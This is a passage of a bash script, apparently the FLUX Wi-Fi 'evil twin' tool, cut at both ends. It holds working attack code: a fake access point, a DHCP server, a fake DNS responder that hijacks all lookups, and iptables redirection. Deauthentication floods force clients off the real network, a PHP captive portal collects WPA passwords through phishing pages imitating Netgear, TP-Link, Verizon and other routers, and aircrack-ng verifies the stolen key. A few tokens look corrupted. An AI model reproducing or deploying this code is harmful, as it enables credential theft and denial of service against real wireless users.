DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GR NEUTRA break elif [ "$webconf" = "14" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CZ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CZ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CZ DIALOG_WEB_OK=$DIALOG_WEB_OK_CZ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CZ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CZ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CZ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CZ DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CZ DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CZ NEUTRA break elif [ "$webconf" = "15" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NO DIALOG_WEB_OK=$DIALOG_WEB_OK_NO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NO NEUTRA break elif [ "$webconf" = "16" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_BG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_BG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_BG DIALOG_WEB_OK=$DIALOG_WEB_OK_BG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_BG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_BG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_BG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_BG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_BG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_BG NEUTRA break elif [ "$webconf" = "17" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_SRB DIALOG_WEB_INFO=$DIALOG_WEB_INFO_SRB DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_SRB DIALOG_WEB_OK=$DIALOG_WEB_OK_SRB DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_SRB DIALOG_WEB_BACK=$DIALOG_WEB_BACK_SRB DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_SRB DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_SRB DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_SRB DIALOG_WEB_DIR=$DIALOG_WEB_DIR_SRB NEUTRA break elif [ "$webconf" = "18" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PL DIALOG_WEB_OK=$DIALOG_WEB_OK_PL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_PL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_PL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_PL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PL NEUTRA break elif [ "$webconf" = "19" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ID DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ID DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ID DIALOG_WEB_OK=$DIALOG_WEB_OK_ID DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ID DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ID DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ID DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ID DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ID DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ID NEUTRA break elif [ "$webconf" = "20" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NL DIALOG_WEB_OK=$DIALOG_WEB_OK_NL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NL NEUTRA break elif [ "$webconf" = 21 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_DAN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_DAN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_DAN DIALOG_WEB_OK=$DIALOG_WEB_OK_DAN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_DAN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_DAN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_DAN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_DAN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_DAN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_DAN NEUTRA break elif [ "$webconf" = 22 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HE DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HE DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HE DIALOG_WEB_OK=$DIALOG_WEB_OK_HE DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HE DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HE DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HE DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HE DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HE DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HE NEUTRA break elif [ "$webconf" = 23 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TH DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TH DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TH DIALOG_WEB_OK=$DIALOG_WEB_OK_TH DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TH DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TH DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TH DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TH DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TH DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TH NEUTRA break elif [ "$webconf" = 24 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_BR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_BR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_BR DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_BR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_BR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_BR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_BR NEUTRA break elif [ "$webconf" = 25 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_SVN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_SVN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_SVN DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_SVN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_SVN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_SVN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_SVN NEUTRA SVNeak elif [ "$webconf" = "26" ]; then BELKIN break elif [ "$webconf" = "27" ]; then NETGEAR break elif [ "$webconf" = "28" ]; then HUAWEI break elif [ "$webconf" = "29" ]; then VERIZON break elif [ "$webconf" = "30" ]; then NETGEAR2 break elif [ "$webconf" = "31" ]; then ARRIS2 break elif [ "$webconf" = "32" ]; then VODAFONE break elif [ "$webconf" = "33" ]; then TPLINK break elif [ "$webconf" = "34" ]; then ZIGGO_NL break elif [ "$webconf" = "35" ]; then KPN_NL break elif [ "$webconf" = "36" ]; then ZIGGO2016_NL break elif [ "$webconf" = "37" ]; then FRITZBOX_DE break elif [ "$webconf" = "38" ]; then FRITZBOX_ENG break elif [ "$webconf" = "39" ]; then GENEXIS_DE break elif [ "$webconf" = "40" ]; then Login-Netgear break elif [ "$webconf" = "41" ]; then Login-Xfinity break elif [ "$webconf" = "42" ]; then Telekom break elif [ "$webconf" = "43" ]; then google break elif [ "$webconf" = "44" ]; then MOVISTAR_ES break elif [ "$webconf" = "45" ]; then conditional_clear webinterface break fi done fi preattack attack } # Create different settings required for the script function preattack { # Config HostAPD echo "interface=$WIFI driver=nl80211 ssid=$Host_SSID channel=$Host_CHAN" > $DUMP_PATH/hostapd.conf # Creates PHP echo "<?php error_reporting(0); \$count_my_page = (\"$DUMP_PATH/hit.txt\"); \$hits = file(\$count_my_page); \$hits[0] ++; \$fp = fopen(\$count_my_page , \"w\"); fputs(\$fp , \$hits[0]); fclose(\$fp); // Receive form Post data and Saving it in variables \$key1 = @\$_POST['key1']; // Write the name of text file where data will be store \$filename = \"$DUMP_PATH/data.txt\"; \$filename2 = \"$DUMP_PATH/status.txt\"; \$intento = \"$DUMP_PATH/intento\"; \$attemptlog = \"$DUMP_PATH/pwattempt.txt\"; // Marge all the variables with text in a single variable. \$f_data= ''.\$key1.''; \$pwlog = fopen(\$attemptlog, \"w\"); fwrite(\$pwlog, \$f_data); fwrite(\$pwlog,\"\n\"); fclose(\$pwlog); \$file = fopen(\$filename, \"w\"); fwrite(\$file, \$f_data); fwrite(\$file,\"\n\"); fclose(\$file); \$archivo = fopen(\$intento, \"w\"); fwrite(\$archivo,\"\n\"); fclose(\$archivo); while( 1 ) { if (file_get_contents( \$intento ) == 1) { header(\"Location:error.html\"); unlink(\$intento); break; } if (file_get_contents( \$intento ) == 2) { header(\"Location:final.html\"); break; } sleep(1); } ?>" > $DUMP_PATH/data/check.php # Config DHCP echo "authoritative; default-lease-time 600; max-lease-time 7200; subnet $RANG_IP.0 netmask 255.255.255.0 { option broadcast-address $RANG_IP.255; option routers $IP; option subnet-mask 255.255.255.0; option domain-name-servers $IP; range $RANG_IP.100 $RANG_IP.250; }" > $DUMP_PATH/dhcpd.conf #create an empty leases file touch $DUMP_PATH/dhcpd.leases # creates Lighttpd web-server echo "server.document-root = \"$DUMP_PATH/data/\" server.modules = ( \"mod_access\", \"mod_alias\", \"mod_accesslog\", \"mod_fastcgi\", \"mod_redirect\", \"mod_rewrite\" ) fastcgi.server = ( \".php\" => (( \"bin-path\" => \"/usr/bin/php-cgi\", \"socket\" => \"/php.socket\" ))) server.port = 80 server.pid-file = \"/var/run/lighttpd.pid\" # server.username = \"www\" # server.groupname = \"www\" mimetype.assign = ( \".html\" => \"text/html\", \".htm\" => \"text/html\", \".txt\" => \"text/plain\", \".jpg\" => \"image/jpeg\", \".png\" => \"image/png\", \".css\" => \"text/css\" ) server.error-handler-404 = \"/\" static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) index-file.names = ( \"index.htm\", \"index.html\" ) \$SERVER[\"socket\"] == \":443\" { url.redirect = ( \"^/(.*)\" => \"http://www.internet.com\") ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } #Redirect www.domain.com to domain.com \$HTTP[\"host\"] =~ \"^www\.(.*)$\" { url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } " >$DUMP_PATH/lighttpd.conf # that redirects all DNS requests to the gateway echo "import socket class DNSQuery: def __init__(self, data): self.data=data self.dominio='' tipo = (ord(data[2]) >> 3) & 15 if tipo == 0: ini=12 lon=ord(data[ini]) while lon != 0: self.dominio+=data[ini+1:ini+lon+1]+'.' ini+=lon+1 lon=ord(data[ini]) def respuesta(self, ip): packet='' if self.dominio: packet+=self.data[:2] + \"\x81\x80\" packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' packet+=self.data[12:] packet+='\xc0\x0c' packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) return packet if __name__ == '__main__': ip='$IP' print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind(('',53)) try: while 1: data, addr = udps.recvfrom(1024) p=DNSQuery(data) udps.sendto(p.respuesta(ip), addr) print 'Request: %s -> %s' % (p.dominio, ip) except KeyboardInterrupt: print 'Finalizando' udps.close()" > $DUMP_PATH/fakedns chmod +x $DUMP_PATH/fakedns } # Set up DHCP / WEB server # Set up DHCP / WEB server function routear { ifconfig $interfaceroutear up ifconfig $interfaceroutear $IP netmask 255.255.255.0 route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP sysctl -w net.ipv4.ip_forward=1 &>$flux_output_device iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 iptables -A INPUT -p tcp --sport 443 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT iptables -t nat -A POSTROUTING -j MASQUERADE } # Attack function attack { interfaceroutear=$WIFI handshakecheck nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) if [ "$fakeapmode" = "hostapd" ]; then ifconfig $WIFI down sleep 0.4 macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device sleep 0.4 ifconfig $WIFI up sleep 0.4 fi if [ $fakeapmode = "hostapd" ]; then killall hostapd &> $flux_output_device xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & fi sleep 5 routear & sleep 3 killall dhcpd &> $flux_output_device fuser -n tcp -k 53 67 80 &> $flux_output_device fuser -n udp -k 53 67 80 &> $flux_output_device xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e "if type python2 >/dev/null 2>/dev/null; then python2 $DUMP_PATH/fakedns; else python $DUMP_PATH/fakedns; fi" & lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device killall aireplay-ng &> $flux_output_device killall mdk3 &> $flux_output_device echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" Attack in progress .." echo " " echo " 1) Choose another network" echo " 2) Exit" echo " " echo -n ' #> ' read yn case $yn in 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; 2 ) matartodo; exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done } # Checks the validity of the password function handshakecheck { echo "#!/bin/bash echo > $DUMP_PATH/data.txt echo -n \"0\"> $DUMP_PATH/hit.txt echo "" >$DUMP_PATH/loggg tput civis clear minutos=0 horas=0 i=0 timestamp=\$(date +%s) while true; do segundos=\$i dias=\`expr \$segundos / 86400\` segundos=\`expr \$segundos % 86400\` horas=\`expr \$segundos / 3600\` segundos=\`expr \$segundos % 3600\` minutos=\`expr \$segundos / 60\` segundos=\`expr \$segundos % 60\` if [ \"\$segundos\" -le 9 ]; then is=\"0\" else is= fi if [ \"\$minutos\" -le 9 ]; then im=\"0\" else im= fi if [ \"\$horas\" -le 9 ]; then ih=\"0\" else ih= fi">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> \"$PASSLOG_PATH/$Host_SSID-$Host_MAC.log\" rm -f $DUMP_PATH/pwattempt.txt fi if [ -f $DUMP_PATH/intento ]; then if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo " if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log rm -f $DUMP_PATH/pwattempt.txt fi wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & if [ -f $DUMP_PATH/intento ]; then if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi ">>$DUMP_PATH/handcheck fi echo "readarray -t CLIENTESDHCP < <(nmap -PR -sn -n -oG - $RANG_IP.100-110 2>&1 | grep Host ) echo echo -e \" ACCESS POINT:\" echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)"$transparent"\" echo echo -e \" CLIENTS ONLINE:\" x=0 for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" fi CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) if echo \$CLIENTE_MAC| grep -q x; then CLIENTE_FABRICANTE=\"unknown\" fi CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" done echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "let i=\$(date +%s)-\$timestamp sleep 1">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "sleep 5 killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device let i=\$i+5">>$DUMP_PATH/handcheck fi echo "done clear echo \"1\" > $DUMP_PATH/status.txt sleep 7 killall mdk3 &>$flux_output_device killall aireplay-ng &>$flux_output_device killall airbase-ng &>$flux_output_device kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device echo \" FLUX $version by ghost SSID: $Host_SSID BSSID: $Host_MAC ($Host_MAC_MODEL) Channel: $Host_CHAN Security: $Host_ENC Time: \$ih\$horas:\$im\$minutos:\$is\$segundos Password: \$(cat $DUMP_PATH/data.txt) \" >\"$HOME/$Host_SSID-password.txt\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\" ">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck fi echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck chmod +x $DUMP_PATH/handcheck } ############################################# < ATTACK > ############################################ ############################################## < STUFF > ############################################ # Deauth all function deauthall { xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & } function deauthmdk3 { echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & mdk3PID=$! } # Deauth to a specific target function deauthesp { sleep 2 xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & } # Close all processes function matartodo { killall aireplay-ng &>$flux_output_device kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall xterm &>$flux_output_device } ######################################### < INTERFACE WEB > ######################################## # Create the contents for the web interface function NEUTRA { if [ ! -d $DUMP_PATH/data ]; then mkdir $DUMP_PATH/data fi source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device rm $DUMP_PATH/file.zip &>$flux_output_device echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> </head> <body> <!-- final page --> <div id=\"done\" data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3> </div> </div> </body> </html>" > $DUMP_PATH/data/final.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Error page --> <div data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3> <a href=\"index.htm\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.htm'\">$DIALOG_WEB_BACK</a> </div> </div> </body> </html>" > $DUMP_PATH/data/error.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Main page --> <div data-role=\"page\" data-theme=\"a\"> <div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\"> <fieldset> <form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\"> </br> <div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\"> <div>ESSID: <u>$Host_SSID</u></div> <div>BSSID: <u>$Host_MAC</u></div> <div>Channel: <u>$Host_CHAN</u></div> </div> <div style=\"text-align:center;\"> <br><label>$DIALOG_WEB_INFO</label></br> </div> <div class=\"ui-field-contain\" > <label for=\"key1\">$DIALOG_WEB_INPUT</label> <input id=\"key1\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/> </div> <input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/> </form> </fieldset> </div> </div> <script src=\"js/main.js\"></script> <script> $.extend( $.validator.messages, { required: \"$DIALOG_WEB_ERROR_MSG\", maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ), minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )}); </script> </body> </html>" > $DUMP_PATH/data/index.htm } # Functions to populate the content for the custom phishing pages function ARRIS { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data } function BELKIN { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data } function NETGEAR { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data } function ARRIS2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data } function NETGEAR2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data } function TPLINK { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/tplink/* $DUMP_PATH/data } function VODAFONE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data } function VERIZON { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data cp 